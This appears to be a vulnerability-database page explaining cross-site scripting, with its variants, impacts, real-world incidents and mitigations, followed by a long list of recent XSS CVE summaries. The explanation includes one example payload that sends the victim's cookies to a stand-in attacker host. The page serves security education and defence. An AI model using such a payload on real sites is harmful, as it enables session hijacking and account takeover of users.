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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39114)

EPSS 0% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of ClearPass Policy Manager could allow an authenticated remote attacker to conduct a stored cross-site scripting (XSS) attack against an. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Clearpass Policy Manager
NVD
EPSS 0% CVSS 5.9
MEDIUM POC This Month

In the module "So Flexibilite" (soflexibilite) from Common-Services for PrestaShop < 4.1.26, a guest (authenticated customer) can perform Cross Site Scripting (XSS) injection. Rated medium severity (CVSS 5.9), this vulnerability is no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS So Flexibilite
NVD
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Rails is a web-application framework. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Rails
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

Subrion CMS 4.2.1 is vulnerable to Cross Site Scripting (XSS) via adminer.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Subrion Cms
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability has been found in SourceCodester Online Job Portal 1.0 and classified as problematic. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Job Portal
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability classified as problematic was found in SourceCodester Online Job Portal 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Online Job Portal
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The Shariff Wrapper WordPress plugin before 4.6.10 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Shariff Wrapper
NVD WPScan
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Orbit Fox by ThemeIsle plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Post Type Grid Widget Title in all versions up to, and including, 2.10.30 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Orbit Fox
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting vulnerability in 71CMS v.1.0.0 allows a remote attacker to execute arbitrary code via the uploadfile action parameter in the controller.php file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

Kirby is a content management system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Kirby
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A DOM based cross-site scripting (XSS) vulnerability in the component index.html of jstrieb/urlpages before commit 035b647 allows attackers to execute arbitrary Javascript via sending a crafted URL. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Url Pages
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A DOM based cross-site scripting (XSS) vulnerability in the component generator.html of tabatkins/railroad-diagrams before commit ea9a123 allows attackers to execute arbitrary Javascript via sending. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Railroad Diagram Generator
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A DOM based cross-site scripting (XSS) vulnerability in the component /dom/ranges/Range-test-iframe.html of web-platform-tests/wpt before commit 938e843 allows attackers to execute arbitrary. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Web Platform Tests
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

A DOM based cross-site scripting (XSS) vulnerability in the component /beep/Beep.Instrument.js of stewdio beep.js before commit ef22ad7 allows attackers to execute arbitrary Javascript via sending a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Cross Site Scripting vulnerability in ITFlow.org before commit v.432488eca3998c5be6b6b9e8f8ba01f54bc12378 allows a remtoe attacker to execute arbitrary code and obtain sensitive information via the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

RCE PHP XSS +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM This Month

Vulnerability whereby an attacker could send a malicious link to an authenticated operator, which could allow remote attackers to perform a clickjacking attack on Sunny WebBox firmware version 1.6.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Sunny Webbox Firmware
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in SourceCodester Employee Management System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP XSS Employee Management System
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

User can send a chat that contains an XSS opportunity that will then run when the chat is sent and on subsequent page loads. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Anythingllm
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The Archivist - Custom Archive Templates plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘shortcode_attributes' parameter in all versions up to, and including, 1.7.5 due. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Archivist
NVD VulDB
EPSS 1% CVSS 9.6
CRITICAL POC PATCH Act Now

Insufficient sanitization in MLflow leads to XSS when running a recipe that uses an untrusted dataset. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Mlflow
NVD GitHub
EPSS 1% CVSS 9.6
CRITICAL POC PATCH Act Now

Insufficient sanitization in MLflow leads to XSS when running an untrusted recipe. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Mlflow
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability was found in SourceCodester Simple Student Attendance System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Simple Student Attendance System
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability, which was classified as problematic, was found in CodeAstro House Rental Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS House Rental Management System
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

A vulnerability classified as problematic has been found in PHPGurukul Tourism Management System 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Tourism Management System
NVD VulDB
EPSS 0% CVSS 4.7
MEDIUM POC This Month

Wallos 0.9 is vulnerable to Cross Site Scripting (XSS) in all text-based input fields without proper validation, excluding those requiring specific formats like date fields. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wallos
NVD GitHub
EPSS 0% CVSS 4.6
MEDIUM PATCH This Month

The Page Builder: Pagelayer - Drag and Drop website builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Button Widget in all versions up to, and including,. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Pagelayer
NVD VulDB
EPSS 2% CVSS 6.1
MEDIUM POC PATCH This Month

### Summary On all Label Studio versions prior to 1.11.0, data imported via file upload feature is not properly sanitized prior to being rendered within a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS CSRF File Upload +1
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A reflected Cross-Site Scripting (XSS) vulnerability in FUEL CMS 1.5.2allows attackers to run arbitrary code via crafted string after the group_id parameter. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Fuel Cms
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A vulnerability, which was classified as problematic, has been found in Bdtask Bhojon Best Restaurant Management Software 2.9. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Bhojon
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

baserCMS is a website development framework. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Basercms
NVD GitHub
EPSS 0% CVSS 4.7
MEDIUM This Month

WayOS IBR-7150 <17.06.23 is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ibr 7150 Firmware
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

Utilizing a 302 redirect, an attacker could have conducted a Universal Cross-Site Scripting (UXSS) on a victim website, if the victim had a link to the attacker's website. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

Apple XSS Firefox Focus
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Using an AMP url with a canonical element, an attacker could have executed JavaScript from an opened bookmarked page. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Apple XSS Canonical +2
NVD
EPSS 0% CVSS 4.7
MEDIUM This Month

Upon scanning a JavaScript URI with the QR code scanner, an attacker could have executed unauthorized scripts on the current top origin sites in the URL bar. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Apple XSS Mozilla +1
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the Header module of Enhavo CMS v0.13.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title text. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Enhavo
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the Header module of Enhavo CMS v0.13.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Undertitle text. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Enhavo
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the New/Edit Article module of Enhavo CMS v0.13.1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Enhavo
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

Enhavo v0.13.1 was discovered to contain an HTML injection vulnerability in the Author text field under the Blockquote module. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE XSS Enhavo
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache Answer.2.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Apache XSS Answer
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the Addon JD Flusity 'Media Gallery with description' module of flusity-CMS v2.33 allows attackers to execute arbitrary web scripts or HTML via a crafted. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Flusity
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the Addon JD Simple module of flusity-CMS v2.33 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Title. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Flusity
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in the Addon JD Flusity 'Social block links' module of flusity-CMS v2.33 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Flusity
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

The User Feedback - Create Interactive Feedback Form, User Surveys, and Polls in Seconds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'page_submitted' 'link' value in all. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Userfeedback
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM POC PATCH This Month

A stored cross-site scripting (XSS) vulnerability in the Edit Content Layout module of Kirby CMS v4.1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Kirby
NVD GitHub
EPSS 0% CVSS 7.1
HIGH POC This Week

An HTML injection vulnerability exists in the Edit Content Layout module of Kirby CMS v4.1.0. Rated high severity (CVSS 7.1), this vulnerability is low attack complexity. Public exploit code available and no vendor patch available.

XSS Kirby
NVD
EPSS 0% CVSS 4.7
MEDIUM POC PATCH This Month

Kirby CMS v4.1.0 was discovered to contain a reflected self-XSS vulnerability via the URL parameter. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

XSS Kirby
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

SKINsoft S-Museum 7.02.3 allows XSS via the filename of an uploaded file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS S Museum
NVD
EPSS 51% CVSS 8.7
HIGH This Week

An issue has been discovered in GitLab CE/EE affecting all versions starting from 16.9 before 16.9.1. Rated high severity (CVSS 8.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Gitlab XSS
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Querybook is a user interface for querying big data. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Querybook
NVD GitHub
EPSS 1% CVSS 5.7
MEDIUM This Month

Archer Platform 6.x before 6.14 P2 HF1 (6.14.0.2.1) contains a reflected XSS vulnerability. Rated medium severity (CVSS 5.7), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Archer
NVD
EPSS 0% CVSS 6.1
MEDIUM POC This Month

There is a Stored XSS Vulnerability in Emlog Pro 2.2.8 Article Publishing, due to non-filtering of quoted content. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Emlog
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in GARO WALLBOX GLB+ T2EV7 0.5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Wallbox Glb T2Ev7 Firmware
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A XSS vulnerability was found in the ChurchCRM v.5.5.0 functionality, edit your event, where malicious JS or HTML code can be inserted in the Event Sermon field in EventEditor.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Churchcrm
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM POC This Month

A reflected cross-site scripting (XSS) vulnerability in ChurchCRM 5.5.0 allows remote attackers to inject arbitrary web script or HTML via the type parameter of /EventAttendance.php. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Churchcrm
NVD GitHub
EPSS 0% CVSS 2.0
LOW Monitor

A vulnerability was determined in ZKTeco ZKBio Access IVS up to 3.3.2. Rated low severity (CVSS 2.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Zkbio Access Ivs
NVD VulDB
EPSS 0% CVSS 6.3
MEDIUM This Month

An issue was discovered in Terminalfour 7.4 through 7.4.0004 QP3 and 8 through 8.3.19, and Formbank through 2.1.10-FINAL. Rated medium severity (CVSS 6.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Formbank Terminalfour
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A vulnerability, which was classified as problematic, was found in keerti1924 PHP-MYSQL-User-Login-System 1.0. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Php Mysql User Signup Login System
NVD GitHub VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

In WS_FTP Server versions before 8.8.5, reflected cross-site scripting issues have been identified on various user supplied inputs on the WS_FTP Server administrative interface. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ws Ftp Server
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The 3D FlipBook - PDF Flipbook WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's bookmark feature in all versions up to, and including, 1.15.3 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress 3d Flipbook
NVD VulDB
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

The Calendar module in Liferay Portal 7.2.0 through 7.4.2, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack 15, and older unsupported versions does not. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Liferay Portal Digital Experience Platform
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in the Frontend JS module's portlet.js in Liferay Portal 7.2.0 through 7.4.3.37, and Liferay DXP 7.4 before update 38, 7.3 before update 11, 7.2 before fix. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Liferay Portal Digital Experience Platform
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Multiple stored cross-site scripting (XSS) vulnerabilities in Liferay Portal 7.2.0 through 7.4.3.13, and older unsupported versions, and Liferay DXP 7.4 before update 10, 7.3 before update 4, 7.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Liferay Portal Digital Experience Platform
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Stored cross-site scripting (XSS) vulnerability in the Dynamic Data Mapping module's DDMForm in Liferay Portal 7.2.0 through 7.4.3.4, and older unsupported versions, and Liferay DXP 7.4.13, 7.3. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Liferay Portal Digital Experience Platform
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Stored cross-site scripting (XSS) vulnerability in Users Admin module's edit user page in Liferay Portal 7.2.0 through 7.4.2, and older unsupported versions, and Liferay DXP 7.3 before service pack. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Liferay Portal Digital Experience Platform
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Stored cross-site scripting (XSS) vulnerability in Expando module's geolocation custom fields in Liferay Portal 7.2.0 through 7.4.2, and older unsupported versions, and Liferay DXP 7.3 before service. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Liferay Portal Digital Experience Platform
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Stored cross-site scripting (XSS) vulnerability in Message Board widget in Liferay Portal 7.2.0 through 7.4.2, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Liferay Portal Digital Experience Platform
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Cross-site scripting (XSS) vulnerability in HtmlUtil.escapeJsLink in Liferay Portal 7.2.0 through 7.4.1, and older unsupported versions, and Liferay DXP 7.3 before service pack 3, 7.2 before fix pack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Liferay Portal Digital Experience Platform
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

com.yetanalytics/lrs is the Yet Analytics Core LRS Library. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Lrs Sql Lrs
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

JumpServer is an open source bastion host and an operation and maintenance security audit system. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Open Redirect Jumpserver
NVD GitHub
EPSS 0% CVSS 8.5
HIGH This Week

This High severity Stored XSS vulnerability was introduced in version 2.7.0 of Confluence Data Center. Rated high severity (CVSS 8.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Atlassian Confluence Data Center +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A malicious website could have used a combination of exiting fullscreen mode and `requestPointerLock` to cause the user's mouse to be re-positioned unexpectedly, which could have led to user. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mozilla Firefox +2
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

In Liferay Portal 7.2.0 through 7.4.3.12, and older unsupported versions, and Liferay DXP 7.4 before update 9, 7.3 before update 4, 7.2 before fix pack 19, and older unsupported versions, the default. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Digital Experience Platform Liferay Portal
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Frentix GmbH OpenOlat LMS is affected by stored a Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openolat
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Frentix GmbH OpenOlat LMS is affected by multiple stored Cross-Site Scripting (XSS) vulnerabilities. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Openolat
NVD
EPSS 1% CVSS 6.5
MEDIUM PATCH This Month

The Link Library plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'll_reciprocal' parameter in all versions up to, and including, 7.6 due to insufficient input sanitization. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Link Library
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WP Shortcodes Plugin - Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's su_tooltip shortcode in all versions up to, and including, 7.0.2 due. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Shortcodes Ultimate
NVD VulDB
EPSS 1% CVSS 7.5
HIGH POC This Week

electron-pdf version 20.0.0 allows an external attacker to remotely obtain arbitrary local files. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Electron Pdf
NVD
EPSS 1% CVSS 7.5
HIGH POC This Week

Pyhtml2pdf version 0.0.6 allows an external attacker to remotely obtain arbitrary local files. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pyhtml2Pdf
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Iris is a web collaborative platform that helps incident responders share technical details during investigations. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Authentication Bypass XSS Iris
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

Serenity before 6.8.0 allows XSS via an email link because LoginPage.tsx permits return URLs that do not begin with a / character. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Serenity
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in Bludit CMS version 3.15, allows remote attackers to execute arbitrary code and obtain sensitive information via edit-content.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

RCE PHP XSS +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

All versions of the package github.com/greenpau/caddy-security are vulnerable to Cross-site Scripting (XSS) via the Referer header, due to improper input sanitization. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Caddy Security
NVD GitHub
EPSS 0% CVSS 6.9
MEDIUM PATCH This Month

StorageGRID (formerly StorageGRID Webscale) versions prior to 11.8 are susceptible to a difficult to exploit Reflected Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authentication required.

XSS Storagegrid
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

